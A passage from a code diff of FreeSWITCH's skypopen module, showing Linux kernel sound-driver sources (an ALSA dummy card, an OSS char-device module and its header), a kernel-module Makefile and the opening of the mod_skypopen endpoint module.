.ioctl = snd_pcm_lib_ioctl,
.hw_params = snd_card_dummy_hw_params,
.hw_free = snd_card_dummy_hw_free,
.prepare = snd_card_dummy_pcm_prepare,
.trigger = snd_card_dummy_pcm_trigger,
.pointer = snd_card_dummy_pcm_pointer,
};
static int __devinit snd_card_dummy_pcm(struct snd_dummy *dummy, int device, int substreams)
{
struct snd_pcm *pcm;
int err;
err = snd_pcm_new(dummy->card, "Dummy PCM", device, substreams, substreams, &pcm);
if (err < 0)
return err;
dummy->pcm = pcm;
snd_pcm_set_ops(pcm, SNDRV_PCM_STREAM_PLAYBACK, &snd_card_dummy_playback_ops);
snd_pcm_set_ops(pcm, SNDRV_PCM_STREAM_CAPTURE, &snd_card_dummy_capture_ops);
pcm->private_data = dummy;
pcm->info_flags = 0;
strcpy(pcm->name, "Dummy PCM");
snd_pcm_lib_preallocate_pages_for_all(pcm, SNDRV_DMA_TYPE_CONTINUOUS, snd_dma_continuous_data(GFP_KERNEL), 128 * 1024, 1024 * 1024);
return 0;
}
#define DUMMY_VOLUME(xname, xindex, addr) \
{ .iface = SNDRV_CTL_ELEM_IFACE_MIXER, \
.access = SNDRV_CTL_ELEM_ACCESS_READWRITE | SNDRV_CTL_ELEM_ACCESS_TLV_READ, \
.name = xname, .index = xindex, \
.info = snd_dummy_volume_info, \
.get = snd_dummy_volume_get, .put = snd_dummy_volume_put, \
.private_value = addr, \
.tlv = { .p = db_scale_dummy } }
static int snd_dummy_volume_info(struct snd_kcontrol *kcontrol, struct snd_ctl_elem_info *uinfo)
{
uinfo->type = SNDRV_CTL_ELEM_TYPE_INTEGER;
uinfo->count = 2;
uinfo->value.integer.min = -50;
uinfo->value.integer.max = 100;
return 0;
}
static int snd_dummy_volume_get(struct snd_kcontrol *kcontrol, struct snd_ctl_elem_value *ucontrol)
{
struct snd_dummy *dummy = snd_kcontrol_chip(kcontrol);
int addr = kcontrol->private_value;
if (in_irq())
printk("dummy: line %d we are in HARDWARE IRQ\n", __LINE__);
spin_lock_bh(&dummy->mixer_lock);
ucontrol->value.integer.value[0] = dummy->mixer_volume[addr][0];
ucontrol->value.integer.value[1] = dummy->mixer_volume[addr][1];
spin_unlock_bh(&dummy->mixer_lock);
return 0;
}
static int snd_dummy_volume_put(struct snd_kcontrol *kcontrol, struct snd_ctl_elem_value *ucontrol)
{
struct snd_dummy *dummy = snd_kcontrol_chip(kcontrol);
int change, addr = kcontrol->private_value;
int left, right;
if (in_irq())
printk("dummy: line %d we are in HARDWARE IRQ\n", __LINE__);
left = ucontrol->value.integer.value[0];
if (left < -50)
left = -50;
if (left > 100)
left = 100;
right = ucontrol->value.integer.value[1];
if (right < -50)
right = -50;
if (right > 100)
right = 100;
spin_lock_bh(&dummy->mixer_lock);
change = dummy->mixer_volume[addr][0] != left || dummy->mixer_volume[addr][1] != right;
dummy->mixer_volume[addr][0] = left;
dummy->mixer_volume[addr][1] = right;
spin_unlock_bh(&dummy->mixer_lock);
return change;
}
static const DECLARE_TLV_DB_SCALE(db_scale_dummy, -4500, 30, 0);
#define DUMMY_CAPSRC(xname, xindex, addr) \
{ .iface = SNDRV_CTL_ELEM_IFACE_MIXER, .name = xname, .index = xindex, \
.info = snd_dummy_capsrc_info, \
.get = snd_dummy_capsrc_get, .put = snd_dummy_capsrc_put, \
.private_value = addr }
#define snd_dummy_capsrc_info snd_ctl_boolean_stereo_info
static int snd_dummy_capsrc_get(struct snd_kcontrol *kcontrol, struct snd_ctl_elem_value *ucontrol)
{
struct snd_dummy *dummy = snd_kcontrol_chip(kcontrol);
int addr = kcontrol->private_value;
if (in_irq())
printk("dummy: line %d we are in HARDWARE IRQ\n", __LINE__);
spin_lock_bh(&dummy->mixer_lock);
ucontrol->value.integer.value[0] = dummy->capture_source[addr][0];
ucontrol->value.integer.value[1] = dummy->capture_source[addr][1];
spin_unlock_bh(&dummy->mixer_lock);
return 0;
}
static int snd_dummy_capsrc_put(struct snd_kcontrol *kcontrol, struct snd_ctl_elem_value *ucontrol)
{
struct snd_dummy *dummy = snd_kcontrol_chip(kcontrol);
int change, addr = kcontrol->private_value;
int left, right;
if (in_irq())
printk("dummy: line %d we are in HARDWARE IRQ\n", __LINE__);
left = ucontrol->value.integer.value[0] & 1;
right = ucontrol->value.integer.value[1] & 1;
spin_lock_bh(&dummy->mixer_lock);
change = dummy->capture_source[addr][0] != left && dummy->capture_source[addr][1] != right;
dummy->capture_source[addr][0] = left;
dummy->capture_source[addr][1] = right;
spin_unlock_bh(&dummy->mixer_lock);
return change;
}
static struct snd_kcontrol_new snd_dummy_controls[] = {
DUMMY_VOLUME("Master Volume", 0, MIXER_ADDR_MASTER),
DUMMY_CAPSRC("Master Capture Switch", 0, MIXER_ADDR_MASTER),
DUMMY_VOLUME("Synth Volume", 0, MIXER_ADDR_SYNTH),
DUMMY_CAPSRC("Synth Capture Switch", 0, MIXER_ADDR_SYNTH),
DUMMY_VOLUME("Line Volume", 0, MIXER_ADDR_LINE),
DUMMY_CAPSRC("Line Capture Switch", 0, MIXER_ADDR_LINE),
DUMMY_VOLUME("Mic Volume", 0, MIXER_ADDR_MIC),
DUMMY_CAPSRC("Mic Capture Switch", 0, MIXER_ADDR_MIC),
DUMMY_VOLUME("CD Volume", 0, MIXER_ADDR_CD),
DUMMY_CAPSRC("CD Capture Switch", 0, MIXER_ADDR_CD)
};
static int __devinit snd_card_dummy_new_mixer(struct snd_dummy *dummy)
{
struct snd_card *card = dummy->card;
unsigned int idx;
int err;
return 0; //XXX no mixer
spin_lock_init(&dummy->mixer_lock);
strcpy(card->mixername, "Dummy Mixer");
for (idx = 0; idx < ARRAY_SIZE(snd_dummy_controls); idx++) {
err = snd_ctl_add(card, snd_ctl_new1(&snd_dummy_controls[idx], dummy));
if (err < 0)
return err;
}
return 0;
}
static int __devinit snd_dummy_probe(struct platform_device *devptr)
{
struct snd_card *card;
struct snd_dummy *dummy;
int idx, err;
int dev = devptr->id;
err = snd_card_create(index[dev], id[dev], THIS_MODULE,
sizeof(struct snd_dummy), &card);
if (err < 0)
return err;
dummy = card->private_data;
dummy->card = card;
for (idx = 0; idx < MAX_PCM_DEVICES && idx < pcm_devs[dev]; idx++) {
if (pcm_substreams[dev] < 1)
pcm_substreams[dev] = 1;
if (pcm_substreams[dev] > MAX_PCM_SUBSTREAMS)
pcm_substreams[dev] = MAX_PCM_SUBSTREAMS;
err = snd_card_dummy_pcm(dummy, idx, pcm_substreams[dev]);
if (err < 0)
goto __nodev;
}
//err = snd_card_dummy_new_mixer(dummy);
//if (err < 0)
//goto __nodev;
strcpy(card->driver, "Dummy");
strcpy(card->shortname, "Dummy");
sprintf(card->longname, "Dummy %i", dev + 1);
snd_card_set_dev(card, &devptr->dev);
err = snd_card_register(card);
if (err == 0) {
platform_set_drvdata(devptr, card);
return 0;
}
__nodev:
snd_card_free(card);
return err;
}
static int __devexit snd_dummy_remove(struct platform_device *devptr)
{
del_timer(&dummytimer);
snd_card_free(platform_get_drvdata(devptr));
platform_set_drvdata(devptr, NULL);
return 0;
}
#ifdef CONFIG_PM
static int snd_dummy_suspend(struct platform_device *pdev, pm_message_t state)
{
struct snd_card *card = platform_get_drvdata(pdev);
struct snd_dummy *dummy = card->private_data;
snd_power_change_state(card, SNDRV_CTL_POWER_D3hot);
snd_pcm_suspend_all(dummy->pcm);
return 0;
}
static int snd_dummy_resume(struct platform_device *pdev)
{
struct snd_card *card = platform_get_drvdata(pdev);
snd_power_change_state(card, SNDRV_CTL_POWER_D0);
return 0;
}
#endif
#define SND_DUMMY_DRIVER "snd_dummy"
static struct platform_driver snd_dummy_driver = {
.probe = snd_dummy_probe,
.remove = __devexit_p(snd_dummy_remove),
#ifdef CONFIG_PM
.suspend = snd_dummy_suspend,
.resume = snd_dummy_resume,
#endif
.driver = {
.name = SND_DUMMY_DRIVER},
};
static void snd_dummy_unregister_all(void)
{
int i;
for (i = 0; i < ARRAY_SIZE(devices); ++i)
platform_device_unregister(devices[i]);
platform_driver_unregister(&snd_dummy_driver);
}
static int __init alsa_card_dummy_init(void)
{
int i, cards, err;
err = platform_driver_register(&snd_dummy_driver);
if (err < 0)
return err;
if (!dummystarted) {
dummystarted = 1;
spin_lock_init(&dummylock);
spin_lock_bh(&dummylock);
for (i = 0; i < MAX_PCM_SUBSTREAMS; i++) {
//if (i > MAX_PCM_SUBSTREAMS || dummyindex > MAX_PCM_SUBSTREAMS) {
//printk("dummy, %s:%d, i=%d, dummyindex=%d \n", __FILE__, __LINE__, i, dummyindex);
//}
dummydpcms[i].substream = NULL;
dummydpcms[i].dpcm = NULL;
dummydpcms[i].started = 0;
dummydpcms[i].elapsed = 0;
}
init_timer(&dummytimer);
dummytimer.data = (unsigned long) &dummydpcms;
dummytimer.function = snd_card_dummy_pcm_timer_function;
dummytimer.expires = 1 + jiffies;
add_timer(&dummytimer);
printk("snd-dummy skypopen driver version: 9, %s:%d working on a machine with %dHZ kernel\n", __FILE__, __LINE__, HZ);
spin_unlock_bh(&dummylock);
}
cards = 0;
for (i = 0; i < SNDRV_CARDS; i++) {
struct platform_device *device;
if (!enable[i])
continue;
device = platform_device_register_simple(SND_DUMMY_DRIVER, i, NULL, 0);
if (IS_ERR(device))
continue;
if (!platform_get_drvdata(device)) {
platform_device_unregister(device);
continue;
}
devices[i] = device;
cards++;
}
if (!cards) {
#ifdef MODULE
printk(KERN_ERR "Dummy soundcard not found or device busy\n");
#endif
snd_dummy_unregister_all();
return -ENODEV;
}
return 0;
}
static void __exit alsa_card_dummy_exit(void)
{
del_timer(&dummytimer);
snd_dummy_unregister_all();
}
module_init(alsa_card_dummy_init)
module_exit(alsa_card_dummy_exit)

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@ -1,43 +0,0 @@
# Comment/uncomment the following line to disable/enable debugging
#DEBUG = y
#LDDINC=
# Add your debugging flag (or not) to CFLAGS
ifeq ($(DEBUG),y)
DEBFLAGS = -O -g -DSKYPOPEN_DEBUG # "-O" is needed to expand inlines
else
DEBFLAGS = -O2 -Wall
endif
EXTRA_CFLAGS += $(DEBFLAGS)
EXTRA_CFLAGS += -I$(LDDINC)
ifneq ($(KERNELRELEASE),)
# call from kernel build system
skypopen-objs := main.o
obj-m := skypopen.o
else
KERNELDIR ?= /lib/modules/$(shell uname -r)/build
PWD := $(shell pwd)
modules:
$(MAKE) -C $(KERNELDIR) M=$(PWD) LDDINC=$(PWD)/../include modules
endif
clean:
rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions
depend .depend dep:
$(CC) $(EXTRA_CFLAGS) -M *.c > .depend
ifeq (.depend,$(wildcard .depend))
include .depend
endif

View File

@ -1,502 +0,0 @@
/*
* main.c -- the bare skypopen char module
*
* Copyright (C) 2010 Giovanni Maruzzelli
* Copyright (C) 2001 Alessandro Rubini and Jonathan Corbet
* Copyright (C) 2001 O'Reilly & Associates
*
* The source code in this file can be freely used, adapted,
* and redistributed in source or binary form, so long as an
* acknowledgment appears in derived source files. The citation
* should list that the code comes from the book "Linux Device
* Drivers" by Alessandro Rubini and Jonathan Corbet, published
* by O'Reilly & Associates. No warranty is attached;
* we cannot take responsibility for errors or fitness for use.
*
*/
#include <linux/module.h>
#include <linux/moduleparam.h>
#include <linux/init.h>
#include <linux/kernel.h> /* printk() */
#include <linux/slab.h> /* kmalloc() */
#include <linux/fs.h> /* everything... */
#include <linux/errno.h> /* error codes */
#include <linux/types.h> /* size_t */
#include <linux/proc_fs.h>
#include <linux/fcntl.h> /* O_ACCMODE */
#include <linux/seq_file.h>
#include <linux/cdev.h>
#include <asm/uaccess.h> /* copy_*_user */
#include <linux/soundcard.h>
#include <linux/delay.h>
#include <linux/hrtimer.h>
#include <linux/sched.h>
#include <linux/time.h>
#include <linux/jiffies.h>
#include <linux/hrtimer.h>
#include <linux/ktime.h>
#include "skypopen.h" /* local definitions */
/*
* Our parameters which can be set at load time.
*/
int skypopen_major = SKYPOPEN_MAJOR;
int skypopen_minor = SKYPOPEN_MINOR;
int skypopen_nr_devs = SKYPOPEN_NR_DEVS; /* number of bare skypopen devices */
module_param(skypopen_major, int, S_IRUGO);
module_param(skypopen_minor, int, S_IRUGO);
module_param(skypopen_nr_devs, int, S_IRUGO);
MODULE_AUTHOR("Original: Alessandro Rubini, Jonathan Corbet. Modified by: Giovanni Maruzzelli for FreeSWITCH skypopen");
MODULE_LICENSE("Dual BSD/GPL");
static struct skypopen_dev *skypopen_devices; /* allocated in skypopen_init_module */
static int unload = 0;
#ifndef WANT_HRTIMER
void my_timer_callback_inq( unsigned long data )
{
struct skypopen_dev *dev = (void *)data;
wake_up_interruptible(&dev->inq);
mod_timer( &dev->timer_inq, jiffies + msecs_to_jiffies(SKYPOPEN_SLEEP) );
}
void my_timer_callback_outq( unsigned long data )
{
struct skypopen_dev *dev = (void *)data;
wake_up_interruptible(&dev->outq);
mod_timer( &dev->timer_outq, jiffies + msecs_to_jiffies(SKYPOPEN_SLEEP) );
}
#else// WANT_HRTIMER
#ifndef CENTOS_5
static enum hrtimer_restart my_hrtimer_callback_inq( struct hrtimer *timer_inq )
{
struct skypopen_dev *dev = container_of(timer_inq, struct skypopen_dev, timer_inq);
if(unload)
return HRTIMER_NORESTART;
hrtimer_forward(&dev->timer_inq, timer_inq->_softexpires, ktime_set(0, SKYPOPEN_SLEEP * 1000000));
wake_up_interruptible(&dev->inq);
return HRTIMER_RESTART;
}
static enum hrtimer_restart my_hrtimer_callback_outq( struct hrtimer *timer_outq )
{
struct skypopen_dev *dev = container_of(timer_outq, struct skypopen_dev, timer_outq);
if(unload)
return HRTIMER_NORESTART;
hrtimer_forward(&dev->timer_outq, timer_outq->_softexpires, ktime_set(0, SKYPOPEN_SLEEP * 1000000));
wake_up_interruptible(&dev->outq);
return HRTIMER_RESTART;
}
#else// CENTOS_5
static int my_hrtimer_callback_inq( struct hrtimer *timer_inq )
{
struct skypopen_dev *dev = container_of(timer_inq, struct skypopen_dev, timer_inq);
if(unload)
return HRTIMER_NORESTART;
hrtimer_forward(&dev->timer_inq, timer_inq->expires, ktime_set(0, SKYPOPEN_SLEEP * 1000000));
wake_up_interruptible(&dev->inq);
return HRTIMER_RESTART;
}
static int my_hrtimer_callback_outq( struct hrtimer *timer_outq )
{
struct skypopen_dev *dev = container_of(timer_outq, struct skypopen_dev, timer_outq);
if(unload)
return HRTIMER_NORESTART;
hrtimer_forward(&dev->timer_outq, timer_outq->expires, ktime_set(0, SKYPOPEN_SLEEP * 1000000));
wake_up_interruptible(&dev->outq);
return HRTIMER_RESTART;
}
#endif// CENTOS_5
#endif// WANT_HRTIMER
/* The clone-specific data structure includes a key field */
struct skypopen_listitem {
struct skypopen_dev device;
dev_t key;
struct list_head list;
};
/* The list of devices, and a lock to protect it */
static LIST_HEAD(skypopen_c_list);
#ifdef WANT_DEFINE_SPINLOCK
static DEFINE_SPINLOCK(skypopen_c_lock);
#else // WANT_DEFINE_SPINLOCK
static spinlock_t skypopen_c_lock = SPIN_LOCK_UNLOCKED;
#endif // WANT_DEFINE_SPINLOCK
/* Look for a device or create one if missing */
static struct skypopen_dev *skypopen_c_lookfor_device(dev_t key)
{
struct skypopen_listitem *lptr;
#ifdef WANT_HRTIMER
#endif// WANT_HRTIMER
list_for_each_entry(lptr, &skypopen_c_list, list) {
if (lptr->key == key)
return &(lptr->device);
}
/* not found */
lptr = kmalloc(sizeof(struct skypopen_listitem), GFP_KERNEL);
if (!lptr)
return NULL;
/* initialize the device */
memset(lptr, 0, sizeof(struct skypopen_listitem));
lptr->key = key;
init_waitqueue_head(&lptr->device.inq);
init_waitqueue_head(&lptr->device.outq);
#ifndef WANT_HRTIMER
setup_timer( &lptr->device.timer_inq, my_timer_callback_inq, (long int)lptr );
setup_timer( &lptr->device.timer_outq, my_timer_callback_outq, (long int)lptr );
printk( "Starting skypopen OSS driver read timer (%dms) skype client:(%d)\n", SKYPOPEN_SLEEP, current->tgid );
mod_timer( &lptr->device.timer_inq, jiffies + msecs_to_jiffies(SKYPOPEN_SLEEP) );
printk( "Starting skypopen OSS driver write timer (%dms) skype client:(%d)\n", SKYPOPEN_SLEEP, current->tgid );
mod_timer( &lptr->device.timer_outq, jiffies + msecs_to_jiffies(SKYPOPEN_SLEEP) );
#endif// WANT_HRTIMER
/* place it in the list */
list_add(&lptr->list, &skypopen_c_list);
return &(lptr->device);
}
/*
* Open and close
*/
static int skypopen_c_open(struct inode *inode, struct file *filp)
{
struct skypopen_dev *dev;
dev_t key;
key = current->tgid;
/* look for a skypopenc device in the list */
spin_lock(&skypopen_c_lock);
dev = skypopen_c_lookfor_device(key);
if (dev){
dev->opened++;
}
spin_unlock(&skypopen_c_lock);
if (!dev)
return -ENOMEM;
/* then, everything else is copied from the bare skypopen device */
filp->private_data = dev;
return 0; /* success */
}
static int skypopen_c_release(struct inode *inode, struct file *filp)
{
dev_t key;
struct skypopen_dev *dev = filp->private_data;
int ret;
key = current->tgid;
spin_lock(&skypopen_c_lock);
dev->opened--;
spin_unlock(&skypopen_c_lock);
if(!dev->opened){
#ifdef WANT_HRTIMER
if(dev->timer_inq_started){
ret = hrtimer_cancel( &dev->timer_inq );
//printk( "Stopped skypopen OSS driver read HRtimer skype client:(%d) ret=%d\n", key, ret);
dev->timer_inq_started=0;
}
if(dev->timer_outq_started){
ret = hrtimer_cancel( &dev->timer_outq );
//printk( "Stopped skypopen OSS driver write HRtimer skype client:(%d) ret=%d\n", key, ret);
dev->timer_outq_started=0;
}
#endif// WANT_HRTIMER
}
return 0;
}
/*************************************************************/
static ssize_t skypopen_read(struct file *filp, char __user *buf, size_t count,
loff_t *f_pos)
{
DEFINE_WAIT(wait);
struct skypopen_dev *dev = filp->private_data;
dev_t key;
key = current->tgid;
if(unload)
return -1;
#ifdef WANT_HRTIMER
if(dev->timer_inq_started == 0){
ktime_t ktime_inq;
ktime_inq = ktime_set( 0, SKYPOPEN_SLEEP * 1000000);
hrtimer_init( &dev->timer_inq, CLOCK_MONOTONIC, HRTIMER_MODE_REL );
dev->timer_inq.function = &my_hrtimer_callback_inq;
hrtimer_start( &dev->timer_inq, ktime_inq, HRTIMER_MODE_REL );
dev->timer_inq_started = 1;
//printk( "Started skypopen OSS driver read HRtimer skype client:(%d) \n", key);
}
#endif// WANT_HRTIMER
//printk("READ\n");
prepare_to_wait(&dev->inq, &wait, TASK_INTERRUPTIBLE);
schedule();
finish_wait(&dev->inq, &wait);
return count;
}
static ssize_t skypopen_write(struct file *filp, const char __user *buf, size_t count,
loff_t *f_pos)
{
DEFINE_WAIT(wait);
struct skypopen_dev *dev = filp->private_data;
dev_t key;
key = current->tgid;
if(unload)
return -1;
#ifdef WANT_HRTIMER
if(dev->timer_outq_started == 0){
ktime_t ktime_outq;
ktime_outq = ktime_set( 0, SKYPOPEN_SLEEP * 1000000);
hrtimer_init( &dev->timer_outq, CLOCK_MONOTONIC, HRTIMER_MODE_REL );
dev->timer_outq.function = &my_hrtimer_callback_outq;
hrtimer_start( &dev->timer_outq, ktime_outq, HRTIMER_MODE_REL );
dev->timer_outq_started = 1;
//printk( "Started skypopen OSS driver write HRtimer skype client:(%d) \n", key);
}
#endif// WANT_HRTIMER
//printk("WRITE\n");
prepare_to_wait(&dev->outq, &wait, TASK_INTERRUPTIBLE);
schedule();
finish_wait(&dev->outq, &wait);
return count;
}
/*
* The ioctl() implementation
*/
#ifndef HAVE_UNLOCKED_IOCTL
static int skypopen_ioctl(struct inode *inode, struct file *filp,
unsigned int cmd, unsigned long arg)
{
void __user *argp = (void __user *)arg;
int __user *p = argp;
switch (cmd) {
case OSS_GETVERSION:
return put_user(SOUND_VERSION, p);
case SNDCTL_DSP_GETBLKSIZE:
return put_user(SKYPOPEN_BLK, p);
case SNDCTL_DSP_GETFMTS:
return put_user(28731, p);
default:
return 0;
}
}
#else// HAVE_UNLOCKED_IOCTL
static long skypopen_unlocked_ioctl(struct file *filp,
unsigned int cmd, unsigned long arg)
{
void __user *argp = (void __user *)arg;
int __user *p = argp;
switch (cmd) {
case OSS_GETVERSION:
return put_user(SOUND_VERSION, p);
case SNDCTL_DSP_GETBLKSIZE:
return put_user(SKYPOPEN_BLK, p);
case SNDCTL_DSP_GETFMTS:
return put_user(28731, p);
default:
return 0;
}
}
#endif// HAVE_UNLOCKED_IOCTL
struct file_operations skypopen_fops = {
.owner = THIS_MODULE,
.llseek = no_llseek,
.read = skypopen_read,
.write = skypopen_write,
#ifndef HAVE_UNLOCKED_IOCTL
.ioctl = skypopen_ioctl,
#else// HAVE_UNLOCKED_IOCTL
.unlocked_ioctl = skypopen_unlocked_ioctl,
#endif// HAVE_UNLOCKED_IOCTL
.open = skypopen_c_open,
.release = skypopen_c_release,
};
/*
* Finally, the module stuff
*/
/*
* The cleanup function is used to handle initialization failures as well.
* Thefore, it must be careful to work correctly even if some of the items
* have not been initialized
*/
void skypopen_cleanup_module(void)
{
int i;
int ret;
struct skypopen_listitem *lptr, *next;
dev_t devno = MKDEV(skypopen_major, skypopen_minor);
unload = 1;
msleep(100);
/* Get rid of our char dev entries */
if (skypopen_devices) {
for (i = 0; i < skypopen_nr_devs; i++) {
cdev_del(&skypopen_devices[i].cdev);
}
kfree(skypopen_devices);
}
/* And all the cloned devices */
list_for_each_entry_safe(lptr, next, &skypopen_c_list, list) {
#ifndef WANT_HRTIMER
ret= del_timer( &lptr->device.timer_inq );
printk( "Stopped skypopen OSS driver read timer\n");
ret= del_timer( &lptr->device.timer_outq );
printk( "Stopped skypopen OSS driver write timer\n");
#else// WANT_HRTIMER
if(lptr->device.timer_inq_started){
ret = hrtimer_cancel( &lptr->device.timer_inq );
printk( "Stopped skypopen OSS driver read HRtimer\n");
}
if(lptr->device.timer_outq_started){
ret = hrtimer_cancel( &lptr->device.timer_outq );
printk( "Stopped skypopen OSS driver write HRtimer\n");
}
#endif// WANT_HRTIMER
list_del(&lptr->list);
kfree(lptr);
}
/* cleanup_module is never called if registering failed */
unregister_chrdev_region(devno, skypopen_nr_devs);
printk("skypopen OSS driver unloaded\n");
}
/*
* Set up the char_dev structure for this device.
*/
static void skypopen_setup_cdev(struct skypopen_dev *dev, int index)
{
int err, devno = MKDEV(skypopen_major, skypopen_minor + index);
cdev_init(&dev->cdev, &skypopen_fops);
dev->cdev.owner = THIS_MODULE;
dev->cdev.ops = &skypopen_fops;
err = cdev_add (&dev->cdev, devno, 1);
/* Fail gracefully if need be */
if (err)
printk(KERN_NOTICE "Error %d adding skypopen%d", err, index);
}
int skypopen_init_module(void)
{
int result, i;
dev_t dev = 0;
printk("skypopen OSS driver loading (www.freeswitch.org)\n");
/*
* Get a range of minor numbers to work with, asking for a dynamic
* major unless directed otherwise at load time.
*/
if (skypopen_major) {
dev = MKDEV(skypopen_major, skypopen_minor);
result = register_chrdev_region(dev, skypopen_nr_devs, "dsp");
} else {
result = alloc_chrdev_region(&dev, skypopen_minor, skypopen_nr_devs,
"dsp");
skypopen_major = MAJOR(dev);
}
if (result < 0) {
printk(KERN_WARNING "skypopen OSS driver: can't get major %d\n", skypopen_major);
return result;
}
/*
* allocate the devices -- we can't have them static, as the number
* can be specified at load time
*/
skypopen_devices = kmalloc(skypopen_nr_devs * sizeof(struct skypopen_dev), GFP_KERNEL);
if (!skypopen_devices) {
result = -ENOMEM;
goto fail; /* Make this more graceful */
}
memset(skypopen_devices, 0, skypopen_nr_devs * sizeof(struct skypopen_dev));
/* Initialize each device. */
for (i = 0; i < skypopen_nr_devs; i++) {
skypopen_setup_cdev(&skypopen_devices[i], i);
}
/* At this point call the init function for any friend device */
dev = MKDEV(skypopen_major, skypopen_minor + skypopen_nr_devs);
return 0; /* succeed */
fail:
skypopen_cleanup_module();
return result;
}
module_init(skypopen_init_module);
module_exit(skypopen_cleanup_module);

View File

@ -1,79 +0,0 @@
/*
* skypopen.h -- definitions for the char module
*
* Copyright (C) 2010 Giovanni Maruzzelli
* Copyright (C) 2001 Alessandro Rubini and Jonathan Corbet
* Copyright (C) 2001 O'Reilly & Associates
*
* The source code in this file can be freely used, adapted,
* and redistributed in source or binary form, so long as an
* acknowledgment appears in derived source files. The citation
* should list that the code comes from the book "Linux Device
* Drivers" by Alessandro Rubini and Jonathan Corbet, published
* by O'Reilly & Associates. No warranty is attached;
* we cannot take responsibility for errors or fitness for use.
*
* $Id: skypopen.h,v 1.15 2004/11/04 17:51:18 rubini Exp $
*/
#ifndef _SKYPOPEN_H_
#define _SKYPOPEN_H_
#include <linux/version.h>
#include <linux/ioctl.h> /* needed for the _IOW etc stuff used later */
#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 4, 0)
#include <asm/switch_to.h> /* cli(), *_flags */
#else
#include <asm/system.h> /* cli(), *_flags */
#endif //LINUX_VERSION_CODE >= KERNEL_VERSION(3, 4, 0)
#if LINUX_VERSION_CODE == KERNEL_VERSION(2, 6, 18)
#define CENTOS_5
#define WANT_HRTIMER /* undef this only if you don't want to use High Resolution Timers (why?) */
#endif /* CentOS 5.x */
#if LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 24)
#define WANT_HRTIMER
#endif /* HRTIMER */
#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 0, 0)
#define WANT_DEFINE_SPINLOCK
#endif /* DEFINE_SPINLOCK */
#define SKYPOPEN_BLK 1920
#define SKYPOPEN_SLEEP 20
#define SKYPOPEN_MAJOR 14 /* dynamic major by default */
#define SKYPOPEN_MINOR 3 /* dynamic major by default */
#define SKYPOPEN_NR_DEVS 1 /* not useful, I'm too lazy to remove it */
#ifdef CENTOS_5
#define HRTIMER_MODE_REL HRTIMER_REL
#endif// CENTOS_5
struct skypopen_dev {
struct cdev cdev; /* Char device structure */
wait_queue_head_t inq; /* read and write queues */
wait_queue_head_t outq; /* read and write queues */
#ifndef WANT_HRTIMER
struct timer_list timer_inq;
struct timer_list timer_outq;
#else// WANT_HRTIMER
struct hrtimer timer_inq;
struct hrtimer timer_outq;
#endif// WANT_HRTIMER
int timer_inq_started;
int timer_outq_started;
int opened;
};
/*
* The different configurable parameters
*/
extern int skypopen_major; /* main.c */
extern int skypopen_nr_devs;
#endif /* _SKYPOPEN_H_ */

View File

@ -1,405 +0,0 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2011, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
*
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
*
* The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
*
* The Initial Developer of the Original Code is
* Anthony Minessale II <anthm@freeswitch.org>
* Portions created by the Initial Developer are Copyright (C)
* the Initial Developer. All Rights Reserved.
*
* This module (mod_gsmopen) has been contributed by:
*
* Giovanni Maruzzelli <gmaruzz@gmail.com>
*
* Maintainer: Giovanni Maruzzelli <gmaruzz@gmail.com>
*
* mod_skypopen.c -- Skype compatible Endpoint Module
*
*/
#include <switch.h>
#ifndef WIN32
#include <sys/time.h>
#include <X11/Xlib.h>
#include <X11/Xlibint.h>
#include <X11/Xatom.h>
// CLOUDTREE (Thomas Hazel)
#define XIO_ERROR_BY_SETJMP
//#define XIO_ERROR_BY_UCONTEXT
// CLOUDTREE (Thomas Hazel)
#ifdef XIO_ERROR_BY_SETJMP
#include "setjmp.h"
#endif
// CLOUDTREE (Thomas Hazel)
#ifdef XIO_ERROR_BY_UCONTEXT
#include "ucontext.h"
#endif
#endif //WIN32
#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
#include <spandsp.h>
#include <spandsp/version.h>
#ifndef WIN32
#include <netinet/tcp.h>
#endif
#ifdef _MSC_VER
//Windows macro for FD_SET includes a warning C4127: conditional expression is constant
#pragma warning(push)
#pragma warning(disable:4127)
#endif
#define MY_EVENT_INCOMING_CHATMESSAGE "skypopen::incoming_chatmessage"
#define MY_EVENT_INCOMING_RAW "skypopen::incoming_raw"
#define SAMPLERATE_SKYPOPEN 16000
#define MS_SKYPOPEN 20
#define SAMPLES_PER_FRAME (SAMPLERATE_SKYPOPEN/(1000/MS_SKYPOPEN))
#define BYTES_PER_FRAME (SAMPLES_PER_FRAME * sizeof(short))
#ifndef SKYPOPEN_SVN_VERSION
#define SKYPOPEN_SVN_VERSION switch_version_full()
#endif /* SKYPOPEN_SVN_VERSION */
typedef enum {
TFLAG_IO = (1 << 0),
TFLAG_INBOUND = (1 << 1),
TFLAG_OUTBOUND = (1 << 2),
TFLAG_DTMF = (1 << 3),
TFLAG_VOICE = (1 << 4),
TFLAG_HANGUP = (1 << 5),
TFLAG_LINEAR = (1 << 6),
TFLAG_PROGRESS = (1 << 7),
TFLAG_BREAK = (1 << 8)
} TFLAGS;
typedef enum {
GFLAG_MY_CODEC_PREFS = (1 << 0)
} GFLAGS;
#define DEBUGA_SKYPE(...) switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%-*s [%s ] [DEBUG_SKYPE %-5d][%-15s][%s,%s] " __VA_ARGS__ );
#define DEBUGA_CALL(...) switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%-*s [%s ] [DEBUG_CALL %-5d][%-15s][%s,%s] " __VA_ARGS__ );
#define DEBUGA_PBX(...) switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%-*s [%s ] [DEBUG_PBX %-5d][%-15s][%s,%s] " __VA_ARGS__ );
